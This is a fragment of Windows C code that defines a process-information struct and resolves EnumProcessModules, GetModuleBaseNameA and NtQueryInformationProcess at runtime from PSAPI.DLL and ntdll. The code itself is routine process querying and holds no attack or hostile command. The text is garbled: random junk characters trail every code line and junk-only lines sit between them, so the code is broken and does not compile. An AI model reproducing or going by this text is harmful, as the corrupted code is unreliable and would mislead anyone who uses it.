DWORD AffinityMask; 0BP~0z
DWORD BasePriority; c1!/jTX$
ULONG UniqueProcessId; >s?;2T2"yx
ULONG InheritedFromUniqueProcessId; !J(,M)p!
} PROCESS_BASIC_INFORMATION; @' :um
eKti+n.
PROCNTQSIP NtQueryInformationProcess; y\|\9Q%D
|nZB/YZt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %=O!K>^vt<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0bL=l0N$W
!4cdP2^P
HANDLE hProcess; [a*>@IR
PROCESS_BASIC_INFORMATION pbi; qa`(,iN
92_H!m/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `a-T95IFy
if(NULL == hInst ) return 0; >b](v)
yf^gU*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Z_ [)PTH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M@[gT?mv1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ddhTri'f
DJjDKVO5t
if (!NtQueryInformationProcess) return 0; < io8
b|A
x&b-Na